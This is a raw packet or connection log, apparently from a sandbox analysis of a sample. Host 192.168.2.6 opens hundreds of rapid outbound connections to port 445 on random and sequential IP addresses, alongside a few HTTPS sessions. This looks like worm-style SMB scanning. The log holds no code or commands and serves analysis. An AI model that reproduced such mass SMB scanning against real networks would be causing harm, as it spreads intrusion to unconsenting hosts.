Jul 20, 2022 06:07:14.907229900 CEST	443	51351	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:14.907377005 CEST	51351	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:14.919045925 CEST	51351	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:14.919075012 CEST	443	51351	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:14.937869072 CEST	51351	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:14.937899113 CEST	443	51351	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:15.060864925 CEST	443	51351	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:15.061096907 CEST	51351	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:15.061137915 CEST	443	51351	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:15.061398029 CEST	443	51351	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:15.062074900 CEST	51351	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:15.066508055 CEST	51351	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:15.066567898 CEST	443	51351	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:15.382344961 CEST	51356	445	192.168.2.6	162.31.125.209
Jul 20, 2022 06:07:15.382980108 CEST	51357	445	192.168.2.6	16.247.103.226
Jul 20, 2022 06:07:15.383660078 CEST	51358	445	192.168.2.6	49.222.34.114
Jul 20, 2022 06:07:15.384284973 CEST	51359	445	192.168.2.6	172.254.81.47
Jul 20, 2022 06:07:15.384932995 CEST	51360	445	192.168.2.6	139.248.140.42
Jul 20, 2022 06:07:15.385582924 CEST	51361	445	192.168.2.6	22.231.160.127
Jul 20, 2022 06:07:15.386219025 CEST	51362	445	192.168.2.6	159.128.139.83
Jul 20, 2022 06:07:15.386883974 CEST	51363	445	192.168.2.6	190.33.143.95
Jul 20, 2022 06:07:15.494668961 CEST	51364	445	192.168.2.6	16.241.235.135
Jul 20, 2022 06:07:15.495840073 CEST	51365	445	192.168.2.6	108.79.8.101
Jul 20, 2022 06:07:15.496619940 CEST	51366	445	192.168.2.6	108.108.90.22
Jul 20, 2022 06:07:15.497338057 CEST	51367	445	192.168.2.6	97.180.92.238
Jul 20, 2022 06:07:15.498084068 CEST	51368	445	192.168.2.6	140.20.8.77
Jul 20, 2022 06:07:15.498781919 CEST	51369	445	192.168.2.6	90.65.40.3
Jul 20, 2022 06:07:15.499543905 CEST	51370	445	192.168.2.6	119.219.18.118
Jul 20, 2022 06:07:15.500264883 CEST	51371	445	192.168.2.6	17.161.211.99
Jul 20, 2022 06:07:15.501293898 CEST	51372	445	192.168.2.6	162.200.66.191
Jul 20, 2022 06:07:15.502027988 CEST	51373	445	192.168.2.6	148.178.244.57
Jul 20, 2022 06:07:15.502751112 CEST	51374	445	192.168.2.6	8.215.171.162
Jul 20, 2022 06:07:15.503707886 CEST	51375	445	192.168.2.6	10.146.7.41
Jul 20, 2022 06:07:15.504388094 CEST	51376	445	192.168.2.6	8.62.19.102
Jul 20, 2022 06:07:15.505151987 CEST	51377	445	192.168.2.6	47.242.205.118
Jul 20, 2022 06:07:15.609513998 CEST	51378	445	192.168.2.6	209.90.5.217
Jul 20, 2022 06:07:15.609776020 CEST	51379	445	192.168.2.6	211.108.56.31
Jul 20, 2022 06:07:15.609791040 CEST	51380	445	192.168.2.6	143.25.248.206
Jul 20, 2022 06:07:15.609951019 CEST	51381	445	192.168.2.6	103.18.131.177
Jul 20, 2022 06:07:15.610059023 CEST	51382	445	192.168.2.6	119.143.80.202
Jul 20, 2022 06:07:15.610084057 CEST	51383	445	192.168.2.6	39.233.192.76
Jul 20, 2022 06:07:15.610213995 CEST	51385	445	192.168.2.6	25.167.191.227
Jul 20, 2022 06:07:15.610284090 CEST	51386	445	192.168.2.6	51.15.79.131
Jul 20, 2022 06:07:15.770514965 CEST	445	51377	47.242.205.118	192.168.2.6
Jul 20, 2022 06:07:15.815861940 CEST	51388	445	192.168.2.6	37.21.160.31
Jul 20, 2022 06:07:15.921680927 CEST	51390	445	192.168.2.6	178.159.42.30
Jul 20, 2022 06:07:16.359044075 CEST	51377	445	192.168.2.6	47.242.205.118
Jul 20, 2022 06:07:16.522253990 CEST	51395	445	192.168.2.6	20.238.195.48
Jul 20, 2022 06:07:16.522913933 CEST	51396	445	192.168.2.6	205.142.139.116
Jul 20, 2022 06:07:16.523614883 CEST	51397	445	192.168.2.6	120.42.10.145
Jul 20, 2022 06:07:16.524246931 CEST	51398	445	192.168.2.6	138.247.55.63
Jul 20, 2022 06:07:16.524847984 CEST	51399	445	192.168.2.6	152.80.113.64
Jul 20, 2022 06:07:16.525552034 CEST	51400	445	192.168.2.6	98.245.0.52
Jul 20, 2022 06:07:16.526226997 CEST	51401	445	192.168.2.6	35.200.22.93
Jul 20, 2022 06:07:16.526910067 CEST	51402	445	192.168.2.6	32.73.149.149
Jul 20, 2022 06:07:16.622522116 CEST	51403	445	192.168.2.6	68.53.60.243
Jul 20, 2022 06:07:16.623276949 CEST	51404	445	192.168.2.6	43.122.202.94
Jul 20, 2022 06:07:16.624017000 CEST	51405	445	192.168.2.6	165.40.248.87
Jul 20, 2022 06:07:16.624963045 CEST	51406	445	192.168.2.6	203.145.89.216
Jul 20, 2022 06:07:16.625989914 CEST	51407	445	192.168.2.6	119.91.252.185
Jul 20, 2022 06:07:16.626970053 CEST	51408	445	192.168.2.6	28.26.84.80
Jul 20, 2022 06:07:16.627728939 CEST	51409	445	192.168.2.6	60.210.227.226
Jul 20, 2022 06:07:16.628463984 CEST	51410	445	192.168.2.6	215.94.245.139
Jul 20, 2022 06:07:16.629371881 CEST	445	51377	47.242.205.118	192.168.2.6
Jul 20, 2022 06:07:16.641572952 CEST	51411	445	192.168.2.6	57.81.70.250
Jul 20, 2022 06:07:16.642401934 CEST	51412	445	192.168.2.6	55.99.50.63
Jul 20, 2022 06:07:16.643187046 CEST	51413	445	192.168.2.6	60.133.226.146
Jul 20, 2022 06:07:16.643959999 CEST	51414	445	192.168.2.6	223.98.136.149
Jul 20, 2022 06:07:16.644701004 CEST	51415	445	192.168.2.6	161.233.18.55
Jul 20, 2022 06:07:16.645411015 CEST	51416	445	192.168.2.6	1.114.102.250
Jul 20, 2022 06:07:16.740930080 CEST	51417	445	192.168.2.6	118.226.188.143
Jul 20, 2022 06:07:16.741719961 CEST	51418	445	192.168.2.6	19.46.61.167
Jul 20, 2022 06:07:16.743172884 CEST	51420	445	192.168.2.6	131.128.19.179
Jul 20, 2022 06:07:16.743933916 CEST	51421	445	192.168.2.6	147.35.249.131
Jul 20, 2022 06:07:16.744648933 CEST	51422	445	192.168.2.6	15.112.161.107
Jul 20, 2022 06:07:16.745368004 CEST	51423	445	192.168.2.6	164.119.199.73
Jul 20, 2022 06:07:16.746063948 CEST	51424	445	192.168.2.6	217.122.81.167
Jul 20, 2022 06:07:16.746802092 CEST	51425	445	192.168.2.6	203.28.254.74
Jul 20, 2022 06:07:16.880505085 CEST	51427	445	192.168.2.6	37.21.160.32
Jul 20, 2022 06:07:17.001307964 CEST	51429	445	192.168.2.6	178.159.42.31
Jul 20, 2022 06:07:17.016386986 CEST	445	51413	60.133.226.146	192.168.2.6
Jul 20, 2022 06:07:17.610214949 CEST	51413	445	192.168.2.6	60.133.226.146
Jul 20, 2022 06:07:17.726702929 CEST	51434	445	192.168.2.6	103.124.84.190
Jul 20, 2022 06:07:17.726744890 CEST	51435	445	192.168.2.6	77.59.225.198
Jul 20, 2022 06:07:17.727060080 CEST	51436	445	192.168.2.6	79.247.219.95
Jul 20, 2022 06:07:17.727189064 CEST	51438	445	192.168.2.6	111.10.228.75
Jul 20, 2022 06:07:17.727209091 CEST	51437	445	192.168.2.6	196.206.139.152
Jul 20, 2022 06:07:17.727325916 CEST	51439	445	192.168.2.6	151.209.32.128
Jul 20, 2022 06:07:17.727365971 CEST	51440	445	192.168.2.6	151.215.170.69
Jul 20, 2022 06:07:17.727463007 CEST	51441	445	192.168.2.6	114.49.134.119
Jul 20, 2022 06:07:17.736455917 CEST	51442	445	192.168.2.6	15.157.86.126
Jul 20, 2022 06:07:17.737303972 CEST	51443	445	192.168.2.6	213.86.252.56
Jul 20, 2022 06:07:17.738049030 CEST	51444	445	192.168.2.6	217.97.233.70
Jul 20, 2022 06:07:17.738778114 CEST	51445	445	192.168.2.6	162.70.4.146
Jul 20, 2022 06:07:17.739500046 CEST	51446	445	192.168.2.6	173.38.71.60
Jul 20, 2022 06:07:17.757607937 CEST	51447	445	192.168.2.6	206.156.109.41
Jul 20, 2022 06:07:17.758825064 CEST	51448	445	192.168.2.6	93.2.109.11
Jul 20, 2022 06:07:17.758853912 CEST	51449	445	192.168.2.6	117.228.249.8
Jul 20, 2022 06:07:17.844017029 CEST	51450	445	192.168.2.6	68.52.101.5
Jul 20, 2022 06:07:17.844525099 CEST	51451	445	192.168.2.6	78.69.84.197
Jul 20, 2022 06:07:17.844609976 CEST	51452	445	192.168.2.6	93.236.1.67
Jul 20, 2022 06:07:17.844703913 CEST	51453	445	192.168.2.6	142.1.119.133
Jul 20, 2022 06:07:17.844798088 CEST	51454	445	192.168.2.6	125.88.130.179
Jul 20, 2022 06:07:17.844871998 CEST	51455	445	192.168.2.6	40.181.231.246
Jul 20, 2022 06:07:17.859265089 CEST	51456	445	192.168.2.6	125.249.98.78
Jul 20, 2022 06:07:17.859976053 CEST	51457	445	192.168.2.6	174.77.75.40
Jul 20, 2022 06:07:17.860650063 CEST	51458	445	192.168.2.6	215.49.223.69
Jul 20, 2022 06:07:17.861313105 CEST	51459	445	192.168.2.6	54.178.208.8
Jul 20, 2022 06:07:17.861958981 CEST	51460	445	192.168.2.6	42.56.158.234
Jul 20, 2022 06:07:17.862610102 CEST	51461	445	192.168.2.6	48.142.83.21
Jul 20, 2022 06:07:17.863265991 CEST	51462	445	192.168.2.6	92.2.29.29
Jul 20, 2022 06:07:17.865629911 CEST	51464	445	192.168.2.6	215.172.107.73
Jul 20, 2022 06:07:17.962110996 CEST	51466	445	192.168.2.6	37.21.160.33
Jul 20, 2022 06:07:17.990830898 CEST	445	51413	60.133.226.146	192.168.2.6
Jul 20, 2022 06:07:18.063602924 CEST	51468	445	192.168.2.6	178.159.42.32
Jul 20, 2022 06:07:18.859055996 CEST	51474	445	192.168.2.6	102.217.6.149
Jul 20, 2022 06:07:18.859062910 CEST	51475	445	192.168.2.6	163.241.5.24
Jul 20, 2022 06:07:18.859132051 CEST	51476	445	192.168.2.6	74.85.122.107
Jul 20, 2022 06:07:18.859152079 CEST	51477	445	192.168.2.6	16.105.40.73
Jul 20, 2022 06:07:18.859282970 CEST	51479	445	192.168.2.6	97.182.145.181
Jul 20, 2022 06:07:18.859389067 CEST	51478	445	192.168.2.6	113.110.100.241
Jul 20, 2022 06:07:18.859390974 CEST	51480	445	192.168.2.6	15.71.250.174
Jul 20, 2022 06:07:18.859405041 CEST	51481	445	192.168.2.6	163.102.24.142
Jul 20, 2022 06:07:18.859496117 CEST	51482	445	192.168.2.6	2.11.193.19
Jul 20, 2022 06:07:18.859504938 CEST	51483	445	192.168.2.6	52.247.112.108
Jul 20, 2022 06:07:18.859599113 CEST	51484	445	192.168.2.6	118.156.0.66
Jul 20, 2022 06:07:18.859618902 CEST	51485	445	192.168.2.6	176.112.137.73
Jul 20, 2022 06:07:18.859705925 CEST	51486	445	192.168.2.6	208.41.38.10
Jul 20, 2022 06:07:18.877019882 CEST	51487	445	192.168.2.6	207.197.246.122
Jul 20, 2022 06:07:18.877088070 CEST	51488	445	192.168.2.6	219.5.133.211
Jul 20, 2022 06:07:18.877103090 CEST	51489	445	192.168.2.6	220.48.140.54
Jul 20, 2022 06:07:18.965900898 CEST	51490	445	192.168.2.6	200.253.4.220
Jul 20, 2022 06:07:18.966001987 CEST	51492	445	192.168.2.6	21.219.34.176
Jul 20, 2022 06:07:18.966005087 CEST	51491	445	192.168.2.6	150.193.126.124
Jul 20, 2022 06:07:18.966087103 CEST	51493	445	192.168.2.6	10.42.205.139
Jul 20, 2022 06:07:18.966188908 CEST	51494	445	192.168.2.6	57.86.223.26
Jul 20, 2022 06:07:18.966989994 CEST	51495	445	192.168.2.6	118.41.10.50
Jul 20, 2022 06:07:18.980240107 CEST	51496	445	192.168.2.6	215.253.75.189
Jul 20, 2022 06:07:18.981040001 CEST	51497	445	192.168.2.6	51.115.57.99
Jul 20, 2022 06:07:18.981749058 CEST	51498	445	192.168.2.6	82.70.9.132
Jul 20, 2022 06:07:18.982439041 CEST	51499	445	192.168.2.6	57.162.154.5
Jul 20, 2022 06:07:18.983154058 CEST	51500	445	192.168.2.6	115.23.31.145
Jul 20, 2022 06:07:18.983927011 CEST	51501	445	192.168.2.6	191.6.2.80
Jul 20, 2022 06:07:18.985275030 CEST	51503	445	192.168.2.6	116.181.79.211
Jul 20, 2022 06:07:18.985970020 CEST	51504	445	192.168.2.6	105.75.95.200
Jul 20, 2022 06:07:19.028177023 CEST	51505	445	192.168.2.6	37.21.160.34
Jul 20, 2022 06:07:19.148140907 CEST	51508	445	192.168.2.6	178.159.42.33
Jul 20, 2022 06:07:19.220812082 CEST	445	51501	191.6.2.80	192.168.2.6
Jul 20, 2022 06:07:19.917700052 CEST	51501	445	192.168.2.6	191.6.2.80
Jul 20, 2022 06:07:20.156320095 CEST	445	51501	191.6.2.80	192.168.2.6
Jul 20, 2022 06:07:20.279128075 CEST	51514	445	192.168.2.6	192.48.227.215
Jul 20, 2022 06:07:20.279628992 CEST	51515	445	192.168.2.6	43.15.134.186
Jul 20, 2022 06:07:20.280124903 CEST	51516	445	192.168.2.6	30.154.145.132
Jul 20, 2022 06:07:20.281102896 CEST	51517	445	192.168.2.6	71.53.205.29
Jul 20, 2022 06:07:20.281636953 CEST	51518	445	192.168.2.6	192.57.156.219
Jul 20, 2022 06:07:20.282143116 CEST	51519	445	192.168.2.6	194.76.230.245
Jul 20, 2022 06:07:20.282632113 CEST	51520	445	192.168.2.6	20.151.178.212
Jul 20, 2022 06:07:20.283135891 CEST	51521	445	192.168.2.6	153.141.158.98
Jul 20, 2022 06:07:20.283600092 CEST	51522	445	192.168.2.6	24.186.56.172
Jul 20, 2022 06:07:20.284102917 CEST	51523	445	192.168.2.6	39.128.51.235
Jul 20, 2022 06:07:20.284593105 CEST	51524	445	192.168.2.6	126.232.34.72
Jul 20, 2022 06:07:20.285094023 CEST	51525	445	192.168.2.6	10.101.166.133
Jul 20, 2022 06:07:20.285573006 CEST	51526	445	192.168.2.6	116.132.69.10
Jul 20, 2022 06:07:20.286166906 CEST	51527	445	192.168.2.6	170.73.18.142
Jul 20, 2022 06:07:20.286741972 CEST	51528	445	192.168.2.6	222.89.186.237
Jul 20, 2022 06:07:20.287246943 CEST	51529	445	192.168.2.6	42.31.185.183
Jul 20, 2022 06:07:20.287867069 CEST	51530	445	192.168.2.6	24.78.154.150
Jul 20, 2022 06:07:20.288381100 CEST	51531	445	192.168.2.6	167.204.181.97
Jul 20, 2022 06:07:20.288876057 CEST	51532	445	192.168.2.6	197.67.16.117
Jul 20, 2022 06:07:20.289372921 CEST	51533	445	192.168.2.6	33.144.128.136
Jul 20, 2022 06:07:20.289860010 CEST	51534	445	192.168.2.6	183.58.10.44
Jul 20, 2022 06:07:20.394535065 CEST	51536	445	192.168.2.6	178.159.42.34
Jul 20, 2022 06:07:20.395049095 CEST	51537	445	192.168.2.6	37.21.160.35
Jul 20, 2022 06:07:20.396950006 CEST	51541	445	192.168.2.6	52.249.71.51
Jul 20, 2022 06:07:20.398128033 CEST	51542	445	192.168.2.6	184.185.46.175
Jul 20, 2022 06:07:20.398667097 CEST	51543	445	192.168.2.6	83.25.154.35
Jul 20, 2022 06:07:20.399182081 CEST	51544	445	192.168.2.6	190.214.40.47
Jul 20, 2022 06:07:20.399673939 CEST	51545	445	192.168.2.6	158.200.14.225
Jul 20, 2022 06:07:20.400187969 CEST	51546	445	192.168.2.6	130.8.173.82
Jul 20, 2022 06:07:20.401345015 CEST	51548	445	192.168.2.6	161.180.50.70
Jul 20, 2022 06:07:20.401881933 CEST	51549	445	192.168.2.6	55.170.92.150
Jul 20, 2022 06:07:20.402447939 CEST	51550	445	192.168.2.6	26.234.53.178
Jul 20, 2022 06:07:21.597780943 CEST	51555	445	192.168.2.6	37.21.160.36
Jul 20, 2022 06:07:21.598290920 CEST	51556	445	192.168.2.6	178.159.42.35
Jul 20, 2022 06:07:21.693115950 CEST	51557	445	192.168.2.6	4.191.229.163
Jul 20, 2022 06:07:21.694022894 CEST	51558	445	192.168.2.6	220.211.101.93
Jul 20, 2022 06:07:21.694794893 CEST	51559	445	192.168.2.6	44.94.70.65
Jul 20, 2022 06:07:21.695558071 CEST	51560	445	192.168.2.6	130.14.4.229
Jul 20, 2022 06:07:21.696306944 CEST	51561	445	192.168.2.6	120.202.187.129
Jul 20, 2022 06:07:21.697042942 CEST	51562	445	192.168.2.6	84.226.100.16
Jul 20, 2022 06:07:21.698098898 CEST	51563	445	192.168.2.6	95.107.184.96
Jul 20, 2022 06:07:21.698822021 CEST	51564	445	192.168.2.6	138.42.248.34
Jul 20, 2022 06:07:21.699722052 CEST	51565	445	192.168.2.6	78.117.188.50
Jul 20, 2022 06:07:21.700443029 CEST	51566	445	192.168.2.6	10.221.102.96
Jul 20, 2022 06:07:21.701178074 CEST	51567	445	192.168.2.6	150.126.180.103
Jul 20, 2022 06:07:21.701929092 CEST	51568	445	192.168.2.6	89.203.15.92
Jul 20, 2022 06:07:21.702663898 CEST	51569	445	192.168.2.6	117.124.218.96
Jul 20, 2022 06:07:21.703398943 CEST	51570	445	192.168.2.6	163.247.116.236
Jul 20, 2022 06:07:21.704128981 CEST	51571	445	192.168.2.6	192.201.168.252
Jul 20, 2022 06:07:21.704871893 CEST	51572	445	192.168.2.6	149.137.105.64
Jul 20, 2022 06:07:21.705579042 CEST	51573	445	192.168.2.6	206.16.222.187
Jul 20, 2022 06:07:21.706324100 CEST	51574	445	192.168.2.6	160.239.63.187
Jul 20, 2022 06:07:21.719486952 CEST	51577	445	192.168.2.6	152.8.108.39
Jul 20, 2022 06:07:21.725538015 CEST	51578	445	192.168.2.6	117.121.183.55
Jul 20, 2022 06:07:21.725684881 CEST	51579	445	192.168.2.6	204.113.246.134
Jul 20, 2022 06:07:21.725883007 CEST	51581	445	192.168.2.6	217.188.223.168
Jul 20, 2022 06:07:21.726023912 CEST	51582	445	192.168.2.6	106.55.224.61
Jul 20, 2022 06:07:21.726126909 CEST	51583	445	192.168.2.6	207.27.50.23
Jul 20, 2022 06:07:21.726239920 CEST	51584	445	192.168.2.6	5.169.83.183
Jul 20, 2022 06:07:21.726353884 CEST	51585	445	192.168.2.6	28.240.77.1
Jul 20, 2022 06:07:21.726449013 CEST	51586	445	192.168.2.6	47.217.107.168
Jul 20, 2022 06:07:21.740803957 CEST	51591	445	192.168.2.6	8.143.250.26
Jul 20, 2022 06:07:21.740922928 CEST	51592	445	192.168.2.6	11.29.165.207
Jul 20, 2022 06:07:21.741063118 CEST	51593	445	192.168.2.6	71.237.87.72
Jul 20, 2022 06:07:23.341732025 CEST	51596	445	192.168.2.6	178.159.42.36
Jul 20, 2022 06:07:23.342243910 CEST	51597	445	192.168.2.6	37.21.160.37
Jul 20, 2022 06:07:23.369524956 CEST	445	51596	178.159.42.36	192.168.2.6
Jul 20, 2022 06:07:23.412036896 CEST	51599	445	192.168.2.6	176.241.42.200
Jul 20, 2022 06:07:23.412786007 CEST	51600	445	192.168.2.6	49.35.83.208
Jul 20, 2022 06:07:23.413322926 CEST	51601	445	192.168.2.6	167.51.65.117
Jul 20, 2022 06:07:23.413817883 CEST	51602	445	192.168.2.6	109.160.100.34
Jul 20, 2022 06:07:23.414338112 CEST	51603	445	192.168.2.6	67.175.220.141
Jul 20, 2022 06:07:23.414861917 CEST	51604	445	192.168.2.6	185.48.134.126
Jul 20, 2022 06:07:23.415350914 CEST	51605	445	192.168.2.6	66.128.92.140
Jul 20, 2022 06:07:23.417731047 CEST	51608	445	192.168.2.6	205.221.222.120
Jul 20, 2022 06:07:23.424748898 CEST	51609	445	192.168.2.6	65.55.169.103
Jul 20, 2022 06:07:23.425827026 CEST	51611	445	192.168.2.6	91.62.111.28
Jul 20, 2022 06:07:23.426343918 CEST	51612	445	192.168.2.6	69.116.155.10
Jul 20, 2022 06:07:23.426866055 CEST	51613	445	192.168.2.6	150.16.212.21
Jul 20, 2022 06:07:23.427375078 CEST	51614	445	192.168.2.6	87.139.46.174
Jul 20, 2022 06:07:23.427894115 CEST	51615	445	192.168.2.6	61.181.62.159
Jul 20, 2022 06:07:23.428373098 CEST	51616	445	192.168.2.6	171.189.59.72
Jul 20, 2022 06:07:23.430757999 CEST	51621	445	192.168.2.6	172.149.154.249
Jul 20, 2022 06:07:23.431272984 CEST	51622	445	192.168.2.6	58.63.116.146
Jul 20, 2022 06:07:23.431767941 CEST	51623	445	192.168.2.6	6.135.39.253
Jul 20, 2022 06:07:23.432285070 CEST	51624	445	192.168.2.6	207.30.226.67
Jul 20, 2022 06:07:23.434880972 CEST	51627	445	192.168.2.6	79.215.140.58
Jul 20, 2022 06:07:23.435429096 CEST	51628	445	192.168.2.6	87.199.189.24
Jul 20, 2022 06:07:23.435935020 CEST	51629	445	192.168.2.6	33.131.41.207
Jul 20, 2022 06:07:23.436676979 CEST	51630	445	192.168.2.6	109.254.42.62
Jul 20, 2022 06:07:23.437203884 CEST	51631	445	192.168.2.6	38.118.189.36
Jul 20, 2022 06:07:23.437760115 CEST	51632	445	192.168.2.6	68.5.155.245
Jul 20, 2022 06:07:23.438257933 CEST	51633	445	192.168.2.6	32.62.129.88
Jul 20, 2022 06:07:23.438754082 CEST	51634	445	192.168.2.6	55.40.157.154
Jul 20, 2022 06:07:23.439254999 CEST	51635	445	192.168.2.6	2.6.81.160
Jul 20, 2022 06:07:23.439745903 CEST	51636	445	192.168.2.6	132.4.237.192
Jul 20, 2022 06:07:23.440262079 CEST	51637	445	192.168.2.6	120.195.122.12
Jul 20, 2022 06:07:23.459747076 CEST	445	51599	176.241.42.200	192.168.2.6
Jul 20, 2022 06:07:23.459971905 CEST	51599	445	192.168.2.6	176.241.42.200
Jul 20, 2022 06:07:23.503019094 CEST	51599	445	192.168.2.6	176.241.42.200
Jul 20, 2022 06:07:23.503580093 CEST	51638	445	192.168.2.6	176.241.42.1
Jul 20, 2022 06:07:23.515325069 CEST	445	51604	185.48.134.126	192.168.2.6
Jul 20, 2022 06:07:23.552176952 CEST	445	51599	176.241.42.200	192.168.2.6
Jul 20, 2022 06:07:23.556896925 CEST	445	51599	176.241.42.200	192.168.2.6
Jul 20, 2022 06:07:23.556950092 CEST	51599	445	192.168.2.6	176.241.42.200
Jul 20, 2022 06:07:23.918013096 CEST	51596	445	192.168.2.6	178.159.42.36
Jul 20, 2022 06:07:23.947819948 CEST	445	51596	178.159.42.36	192.168.2.6
Jul 20, 2022 06:07:24.168057919 CEST	51604	445	192.168.2.6	185.48.134.126
Jul 20, 2022 06:07:24.271049023 CEST	445	51604	185.48.134.126	192.168.2.6
Jul 20, 2022 06:07:24.419686079 CEST	51639	445	192.168.2.6	178.159.42.37
Jul 20, 2022 06:07:24.420188904 CEST	51640	445	192.168.2.6	37.21.160.38
Jul 20, 2022 06:07:24.521279097 CEST	51642	445	192.168.2.6	176.179.104.160
Jul 20, 2022 06:07:24.521843910 CEST	51643	445	192.168.2.6	165.84.156.235
Jul 20, 2022 06:07:24.522326946 CEST	51644	445	192.168.2.6	215.19.196.82
Jul 20, 2022 06:07:24.522851944 CEST	51645	445	192.168.2.6	60.168.239.58
Jul 20, 2022 06:07:24.523355961 CEST	51646	445	192.168.2.6	1.141.145.177
Jul 20, 2022 06:07:24.525573015 CEST	51650	445	192.168.2.6	27.227.122.199
Jul 20, 2022 06:07:24.525623083 CEST	51649	445	192.168.2.6	197.21.203.213
Jul 20, 2022 06:07:24.533529043 CEST	51651	445	192.168.2.6	102.175.118.32
Jul 20, 2022 06:07:24.534629107 CEST	51653	445	192.168.2.6	4.126.200.251
Jul 20, 2022 06:07:24.534679890 CEST	51654	445	192.168.2.6	88.5.154.62
Jul 20, 2022 06:07:24.534754992 CEST	51656	445	192.168.2.6	137.45.118.240
Jul 20, 2022 06:07:24.534775972 CEST	51655	445	192.168.2.6	86.251.186.0
Jul 20, 2022 06:07:24.534889936 CEST	51657	445	192.168.2.6	147.24.139.157
Jul 20, 2022 06:07:24.535093069 CEST	51658	445	192.168.2.6	129.37.171.189
Jul 20, 2022 06:07:24.535093069 CEST	51662	445	192.168.2.6	67.51.92.201
Jul 20, 2022 06:07:24.535140991 CEST	51664	445	192.168.2.6	223.51.125.217
Jul 20, 2022 06:07:24.535191059 CEST	51665	445	192.168.2.6	32.130.142.224
Jul 20, 2022 06:07:24.535240889 CEST	51666	445	192.168.2.6	51.67.138.0
Jul 20, 2022 06:07:24.559715986 CEST	51669	445	192.168.2.6	147.180.228.201
Jul 20, 2022 06:07:24.560484886 CEST	51670	445	192.168.2.6	31.4.118.45
Jul 20, 2022 06:07:24.561252117 CEST	51671	445	192.168.2.6	30.198.62.157
Jul 20, 2022 06:07:24.562091112 CEST	51672	445	192.168.2.6	81.175.153.90
Jul 20, 2022 06:07:24.585937023 CEST	51673	445	192.168.2.6	92.240.64.197
Jul 20, 2022 06:07:24.586206913 CEST	51674	445	192.168.2.6	79.250.167.172
Jul 20, 2022 06:07:24.586313963 CEST	51675	445	192.168.2.6	19.200.48.51
Jul 20, 2022 06:07:24.586493969 CEST	51676	445	192.168.2.6	12.25.215.235
Jul 20, 2022 06:07:24.586600065 CEST	51677	445	192.168.2.6	179.200.163.120
Jul 20, 2022 06:07:24.586735964 CEST	51678	445	192.168.2.6	112.136.24.214
Jul 20, 2022 06:07:24.587476969 CEST	51679	445	192.168.2.6	199.83.46.187
Jul 20, 2022 06:07:24.587778091 CEST	51680	445	192.168.2.6	176.241.42.2
Jul 20, 2022 06:07:24.641577005 CEST	445	51680	176.241.42.2	192.168.2.6
Jul 20, 2022 06:07:25.283968925 CEST	51680	445	192.168.2.6	176.241.42.2
Jul 20, 2022 06:07:25.339056969 CEST	445	51680	176.241.42.2	192.168.2.6
Jul 20, 2022 06:07:25.550371885 CEST	51682	445	192.168.2.6	178.159.42.38
Jul 20, 2022 06:07:25.551145077 CEST	51683	445	192.168.2.6	37.21.160.39
Jul 20, 2022 06:07:25.583004951 CEST	445	51682	178.159.42.38	192.168.2.6
Jul 20, 2022 06:07:25.644081116 CEST	51685	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:25.644123077 CEST	443	51685	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:25.644213915 CEST	51685	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:25.645195007 CEST	51685	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:25.645217896 CEST	443	51685	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:25.664865017 CEST	51688	445	192.168.2.6	1.33.106.168
Jul 20, 2022 06:07:25.664983034 CEST	51689	445	192.168.2.6	117.131.250.114
Jul 20, 2022 06:07:25.664983034 CEST	51690	445	192.168.2.6	117.72.166.97
Jul 20, 2022 06:07:25.665282011 CEST	51696	445	192.168.2.6	175.217.77.200
Jul 20, 2022 06:07:25.665594101 CEST	51698	445	192.168.2.6	13.82.157.135
Jul 20, 2022 06:07:25.665746927 CEST	51699	445	192.168.2.6	207.213.91.168
Jul 20, 2022 06:07:25.665896893 CEST	51700	445	192.168.2.6	174.97.152.218
Jul 20, 2022 06:07:25.666013002 CEST	51701	445	192.168.2.6	30.3.116.117
Jul 20, 2022 06:07:25.666197062 CEST	51703	445	192.168.2.6	68.251.229.182
Jul 20, 2022 06:07:25.666330099 CEST	51704	445	192.168.2.6	169.92.57.193
Jul 20, 2022 06:07:25.666431904 CEST	51705	445	192.168.2.6	142.246.192.85
Jul 20, 2022 06:07:25.666449070 CEST	51706	445	192.168.2.6	159.84.201.190
Jul 20, 2022 06:07:25.666553020 CEST	51708	445	192.168.2.6	184.58.100.80
Jul 20, 2022 06:07:25.666564941 CEST	51707	445	192.168.2.6	99.70.40.166
Jul 20, 2022 06:07:25.666729927 CEST	51712	445	192.168.2.6	76.142.217.205
Jul 20, 2022 06:07:25.666754961 CEST	51711	445	192.168.2.6	65.157.151.180
Jul 20, 2022 06:07:25.673691988 CEST	51691	445	192.168.2.6	216.183.33.232
Jul 20, 2022 06:07:25.673743963 CEST	51697	445	192.168.2.6	84.2.93.60
Jul 20, 2022 06:07:25.700123072 CEST	51713	445	192.168.2.6	176.241.42.3
Jul 20, 2022 06:07:25.743424892 CEST	443	51685	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:25.743607998 CEST	51685	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:25.746980906 CEST	51685	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:25.747005939 CEST	443	51685	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:25.747271061 CEST	443	51685	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:25.748497009 CEST	51685	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:25.748548985 CEST	51685	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:25.748564959 CEST	443	51685	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:25.748699903 CEST	51685	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:25.749211073 CEST	51714	445	192.168.2.6	50.17.104.32
Jul 20, 2022 06:07:25.749989986 CEST	51715	445	192.168.2.6	209.170.149.136
Jul 20, 2022 06:07:25.750680923 CEST	51716	445	192.168.2.6	190.164.167.139
